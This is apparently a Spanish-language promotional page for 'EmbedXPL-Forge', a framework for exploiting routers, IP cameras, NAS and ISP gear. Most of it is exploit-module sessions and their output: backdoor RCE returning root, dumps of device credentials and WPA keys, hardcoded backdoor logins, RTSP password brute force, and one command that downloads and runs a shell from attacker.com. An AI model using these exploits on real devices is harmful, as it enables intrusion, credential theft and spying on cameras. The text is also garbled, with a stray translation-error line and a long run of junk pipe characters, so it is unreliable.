exf > use exploits/routers/easybox/easybox_wpa_keygen exf (EasyBox WPA Keygen) > set target 192.168.1.1 exf (EasyBox WPA Keygen) > run [*] No MAC supplied — attempting to extract from web UI... [+] MAC found: AA:BB:CC:DD:EE:FF [+] Device MAC : AA:BB:CC:DD:EE:FF [+] WPA2 PSK : 3f2d9a1b

Seagate NAS — Ghost PHP unauthenticated RCE (CVE-2014-8684)

exf > use exploits/routers/seagate/seagate_nas_php_backdoor exf (Seagate Ghost PHP) > set target 192.168.1.100 exf (Seagate Ghost PHP) > set cmd "id; uname -a" exf (Seagate Ghost PHP) > run [*] Sending command via Ghost PHP backdoor: 'id; uname -a' [+] RCE successful — output: uid=0(root) gid=0(root) groups=0(root) Linux NAS 3.10.14 #1 SMP armv7l

Alpha Networks / ZTE — web_shell_cmd.gch backdoor

exf > use exploits/routers/alpha_networks/web_shell_cmd_rce exf (Alpha Networks web_shell_cmd RCE) > set target 192.168.1.1 exf (Alpha Networks web_shell_cmd RCE) > set cmd "cat /etc/passwd" exf (Alpha Networks web_shell_cmd RCE) > run [*] Sending command to /web_shell_cmd.gch: 'cat /etc/passwd' [+] Response from backdoor shell: root❌0:0:root:/root:/bin/sh ...

RuggedCom — factory backdoor password generator (FD 2012/Apr/277)

exf > use exploits/routers/ruggedcom/ruggedcom_factory_password exf (RuggedCom Factory Password) > set target 192.168.1.1 exf (RuggedCom Factory Password) > set serial RA000000 exf (RuggedCom Factory Password) > run [+] Serial Number : RA000000 [+] Backdoor user : factory [+] Backdoor pass : 7f3d9a2b

Alcatel-Lucent OmniPCX Enterprise — masterCGI RCE

exf > use exploits/routers/alcatel_lucent/omnipcx_masterCGI_rce exf (OmniPCX RCE) > set target 192.168.1.10 exf (OmniPCX RCE) > set cmd "id" exf (OmniPCX RCE) > run [*] Injecting command: 'id' via /cgi-bin/masterCGI?ping=127.0.0.1&user=;id; [+] Response (command output may be embedded): uid=0(root) ...

TRENDnet camera — unauthenticated MJPEG live stream

exf > use exploits/routers/trendnet/camera_mjpeg_unauth exf (TRENDnet MJPEG) > set target 192.168.1.50 exf (TRENDnet MJPEG) > run [+] LIVE STREAM accessible (no auth): /anony/mjpg.cgi [+] Stream URL: http://192.168.1.50:80/anony/mjpg.cgi

Netgear WG602 — hardcoded backdoor credentials

exf > use exploits/routers/netgear/wg602_superman_backdoor exf (WG602 Backdoor) > set target 192.168.1.1 exf (WG602 Backdoor) > run [+] Backdoor login SUCCESS: super:5777364 [*] Admin panel: http://192.168.1.1:80/

root@kitploit:~
**Los 27 nuevos proveedores/módulos:**
`alcatel_lucent` · `alpha_networks` · `astoria` · `binatone` · `ddwrt` · `easybox` · `ee` · `freebox` · `mifi` · `motorola` · `observa` · `ruggedcom` · `seagate` · `sitecom` · `starbridge` · `ubee` · `unicorn` · `utstarcom` · `zoom` · más los rellenos de belkin, netgear, trendnet.


## Estructura del módulo```
embedxpl/
├── core/
│   ├── rtsp/          # RTSP camera engine
│   │   ├── client.py  # Raw socket RTSP client (OPTIONS/DESCRIBE/auth/TLS/HTTP-tunnel)
│   │   ├── attacker.py# 5-phase attack pipeline (route→auth→creds→validate→re-attack)
│   │   ├── scanner.py # Network discovery (nmap/masscan/direct), CIDR/range expansion
│   │   └── models.py  # RTSPStream dataclass, AuthType enum
│   └── poly/
│       ├── compiler.py# CCompiler — runtime C/C++ compilation (gcc/clang/mingw/cross)
│       └── runner.py  # PolyRunner — Ruby/Node/PHP/Bash/Perl + Metasploit + ExploitDB
├── modules/
│   ├── creds/             # Credential testing (FTP, SSH, Telnet, HTTP, SNMP)
│   ├── exploits/
│   │   ├── cameras/       # IP camera exploits by vendor
│   │   │   ├── multi/     # Multi-vendor (RTSP attack engine, P2P, ONVIF)
│   │   │   ├── hikvision/ # Hikvision (CVE-2021-36260, CVE-2017-7921, ...)
│   │   │   ├── dahua/     # Dahua + OEMs (CVE-2021-33044, CVE-2020-25078, ...)
│   │   │   ├── axis/      # Axis (CVE-2018-10660, ...)
│   │   │   ├── reolink/   # Reolink (CVE-2021-40655, CVE-2022-30600)
│   │   │   ├── amcrest/   # Amcrest (CVE-2019-3950)
│   │   │   ├── uniview/   # Uniview UNV (CVE-2024-37630)
│   │   │   ├── tapo/      # TP-Link Tapo (CVE-2021-4045)
│   │   │   ├── annke/     # ANNKE DVR/NVR (CVE-2021-32941)
│   │   │   ├── swann/     # Swann DVR/NVR (default creds + RTSP)
│   │   │   └── edimax/    # Edimax IC-7100 (CVE-2025-1316, CISA KEV)
│   │   ├── firmware/      # Firmware flash bypass (NETGEAR, TP-Link, D-Link, ASUS)
│   │   ├── nas/           # NAS exploits (QNAP, D-Link NAS, Zyxel)
│   │   ├── routers/       # Router exploits by vendor (85 vendor folders — see full list below)
│   │   ├── vpn/           # VPN/firewall appliances (Ivanti, Fortinet, SonicWall)
│   │   ├── switches/      # Switch exploits (Cisco, D-Link, NETGEAR)
│   │   └── soho_edge/     # SOHO edge device exploits
│   ├── scanners/          # Network scanning and AutoPwn
│   ├── payloads/          # Reverse/bind shells (multi-arch)
│   ├── encoders/          # Payload encoding (Base64, Hex)
│   └── generic/           # CVE lookup, SNMP, UPnP, SSDP, wordlist tools
├── nse/                   # NSE script manager (Python)
│   ├── manager.py         # NSEManager class — install/uninstall/list/run
│   └── __main__.py        # CLI: python -m embedxpl.nse
├── resources/
│   └── rtsp/
│       ├── routes.txt      # 195+ RTSP stream paths
│       └── credentials.json# 80+ default username:password pairs
└── data/
    └── oui.txt             # IEEE OUI database for MAC-to-vendor lookup

nse/                        # Nmap NSE Lua scripts (pip install embedxpl[nse])
├── embedxpl-rtsp-discover.nse
├── embedxpl-camera-identify.nse
├── embedxpl-hikvision-vuln.nse
├── embedxpl-dahua-vuln.nse
├── embedxpl-rtsp-creds.nse
├── embedxpl-iot-cve-check.nse
└── embedxpl-camera-snapshot.nse

Cobertura Ampliada de Módulos

Esta sección documenta los módulos de dispositivos ISP, exploits de contraseñas de backdoor/fábrica, framework cliente RTSP, herramientas OSINT y módulos de seguridad especializados.


Módulos de Seguridad para Dispositivos ISP

Exploits y escáneres dirigidos a CPEs emitidos por ISP y cámaras IP comúnmente desplegadas por proveedores de internet (ONTs basadas en Sercomm, CPEs GPON y dispositivos de marca ISP).

Ejemplos de uso:```bash

ZTE ZXHN H298A Credential Dump

embedxpl use routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 embedxpl (ZXHNCred) > set rhost 192.168.1.1 embedxpl (ZXHNCred) > run

Expected output (vulnerable device):

[+] Connected to 192.168.1.1:80 [+] Sending ETHCheat request: GET /getpage.lua?pid=1000&ETHCheat=1 [!] VULNERABLE: Credentials exposed Admin Password: admin123 WLAN PSK: MyWifiPass SSID: ZTE_Router_ABC

Sample output (not vulnerable):

[-] No credential fields found in response [-] Target may be patched or different firmware

root@kitploit:~
[No input content provided to translate.]```bash
# Intelbras IWR LuCI RPC RCE
embedxpl use routers/intelbras/iwr_luci_rpc_rce
embedxpl (IWRLuci) > set rhost 192.168.0.1
embedxpl (IWRLuci) > set cmd "id"
embedxpl (IWRLuci) > run

# Expected output:
[+] LuCI RPC endpoint found at /cgi-bin/luci/rpc/sys
[+] RCE via sys.exec: uid=0(root) gid=0(root)

Brazilian ISP multi-vendor scanner

embedxpl use scanners/specialized/br_isp_scanner embedxpl (BRISPScan) > set target 192.168.0.0/24 embedxpl (BRISPScan) > run

root@kitploit:~
**Notas:** CVE-2026-34474 afecta a ZTE ZXHN H298A 1.1 y H108N 2.6. No se requiere autenticación.
**Legal:** Úselo solo en dispositivos que posea o para los que tenga autorización por escrito para probar.

---

### Módulos de backdoor de routers heredados y contraseñas de fábrica

Exploits clásicos de backdoor de routers y contraseñas de fábrica implementados en el formato de módulo de EmbedXPL-Forge.

| Dispositivo | CVE / Referencia | Ruta del módulo | Tipo de ataque |
|--------|----------------|-------------|-------------|
| Cobham Aviator 700 SATCOM | CVE-2014-2943 | `exploits/specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943` | Restablecimiento de contraseña de administrador (sin autenticación) |
| Huawei HG8245H | - | `osint/keygen/huawei_hg8245_wpa_keygen` | Generador de clave WPA predeterminada |
| Alcatel-Lucent OmniPCX Enterprise | - | `exploits/voip/alcatel_lucent/omnipcx_enterprise_mastercgi_rce` | RCE no autenticado en masterCGI |
| Linksys E-Series (The Moon) | EDB-31683 | `exploits/routers/linksys/eseries_themoon_rce_tmunblock` | RCE en tmUnblock.cgi |
| NETGEAR DGN2200 | EDB-24665 | `exploits/routers/netgear/dgn2200_open_telnetd_rce` | RCE no autenticado en open-telnetd |
| Siemens FlexiISN | - | `exploits/routers/siemens/flexiisn_auth_bypass` | Omisión de autenticación |
| Thomson BTHomeHub | - | `exploits/routers/thomson/bthomehub_voice_hijack` | Secuestro de configuración VoIP |
| AT&T 2Wire Gateway | - | `exploits/routers/two_wire/atandt_gateway_crlf_dos` | Inyección CRLF / DoS |

**Ejemplos de uso:**```bash
# Cobham Aviator admin reset (VSAT / Satellite terminal)
embedxpl use specialized/vsat/cobham_aviator_admin_reset_cve_2014_2943
embedxpl (CobhamReset) > set rhost 192.168.1.1
embedxpl (CobhamReset) > run

# Expected output:
[+] Connected to Cobham Aviator 700 interface
[+] Sending unauthenticated admin reset request
[!] VULNERABLE: Admin password reset to default

# Linksys eSeries The Moon RCE
embedxpl use routers/linksys/eseries_themoon_rce_tmunblock
embedxpl (TheMoon) > set rhost 192.168.1.1
embedxpl (TheMoon) > set cmd "busybox wget http://attacker.com/shell -O /tmp/sh && chmod +x /tmp/sh && /tmp/sh"
embedxpl (TheMoon) > run

# Huawei HG8245H WPA keygen
embedxpl use osint/keygen/huawei_hg8245_wpa_keygen
embedxpl (HuaweiKeygen) > set ssid "HG8245H-ABCDEF"
embedxpl (HuaweiKeygen) > run
# Output: [+] Predicted WPA key: xA7z3k9P

Notas: El gusano Moon (Linksys E-Series CVE) explota tmUnblock.cgi sin autenticación en firmware < 2.0.08. Legal: Úsalo solo en dispositivos que poseas o para los que tengas autorización escrita de prueba.


Framework de Cliente RTSP

Una librería cliente RTSP/1.0 RFC 2326 en Python puro utilizada como base para todos los módulos de ataque a cámaras RTSP.

Módulo: network/rtsp/rtsp_client.py - clase RTSPClient

Características:

  • Métodos OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
  • Autenticación Basic y Digest (RFC 2617)
  • Análisis de descripción de sesión SDP
  • Reconexión automática y gestión de timeout de socket
  • Soporte de gestor de contexto (with RTSPClient(...) as client)

Ejemplo de uso:```bash

Direct Python API usage

python3 -c " from embedxpl.modules.network.rtsp.rtsp_client import RTSPClient with RTSPClient('192.168.1.10', 554, timeout=5) as client: resp = client.describe('/live/ch0') if resp.status_code == 200: sdp = client.parse_sdp(resp.body) print(f'Streams: {[s.media_type for s in sdp.streams]}') "

root@kitploit:~
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |```bash
# RTSP credential brute force (uses RTSPClient internally)
embedxpl use network/rtsp/rtsp_cred_brute
embedxpl (RTSPBrute) > set rhost 192.168.1.10
embedxpl (RTSPBrute) > set rport 554
embedxpl (RTSPBrute) > set path /live/ch0
embedxpl (RTSPBrute) > run

# Expected output:
[+] Trying admin:admin ... 401 Unauthorized
[+] Trying admin:12345 ... 200 OK
[!] VALID: admin:12345

Requisitos: Python 3.8+, sin dependencias externas.


Módulo de búsqueda de FCC-ID

Módulo OSINT que consulta la base de datos de Autorización de Equipos de la FCC para obtener los detalles del dispositivo a partir de los códigos de FCC ID que se encuentran en las etiquetas del hardware.

Módulo: osint/fcc_id_lookup.py

Ejemplo de uso:```bash embedxpl use osint/fcc_id_lookup embedxpl (FCCLookup) > set fcc_id "PD5-WNR3500U" embedxpl (FCCLookup) > run

Expected output:

[+] FCC ID: PD5-WNR3500U Grantee: NETGEAR Inc. Product: WNR3500U Wireless-N Gigabit Router Frequency: 2.4GHz / 5GHz Authorization: OET-65C (mobile device) Test Lab: SGS Grant Date: 2009-11-18 Internal Photos: [URL] External Photos: [URL] Test Reports: [URL]

root@kitploit:~
**Consejos:**
- Los FCC IDs están impresos en las etiquetas de los dispositivos (formato: `GRANTEE_CODE-PRODUCT_CODE`)
- Úsalos para identificar hardware OEM, base de firmware o cadena de proveedores
- Combínalos con `osint/github_recon` para encontrar repositorios públicos de firmware del dispositivo

**Requisitos:** Acceso a Internet, biblioteca `requests`.

---

### Generador de URL de cámaras

Genera URL de streams de cámaras conocidas basándose en el proveedor, modelo y versión de firmware, utilizando el formato de la base de datos de cámaras de iSpy.

**Módulo:** `osint/camera_url_generator.py`

**Ejemplo de uso:**```bash
embedxpl use osint/camera_url_generator
embedxpl (CameraURL) > set vendor "hikvision"
embedxpl (CameraURL) > set model "DS-2CD2143G2"
embedxpl (CameraURL) > run

# Expected output:
[+] Known stream URLs for Hikvision DS-2CD2143G2:
    [1] rtsp://<ip>:554/Streaming/Channels/101
    [2] rtsp://<ip>:554/Streaming/Channels/102
    [3] rtsp://<ip>:554/h264/ch1/main/av_stream
    [4] http://<ip>/ISAPI/Streaming/channels/1/picture
    [5] http://<ip>/onvif/device_service

# Generate wordlist for RTSP brute force
embedxpl (CameraURL) > set output_file /tmp/hikvision_routes.txt
embedxpl (CameraURL) > run

Consejos:

  • Combínalo con network/rtsp/rtsp_route_brute para enumerar transmisiones en vivo
  • Compatible con más de 300 fabricantes de cámaras de la base de datos de cámaras abiertas de iSpy
  • Usa set all_vendors true para volcar todas las URL conocidas

Módulos de seguridad para la aplicación de tráfico

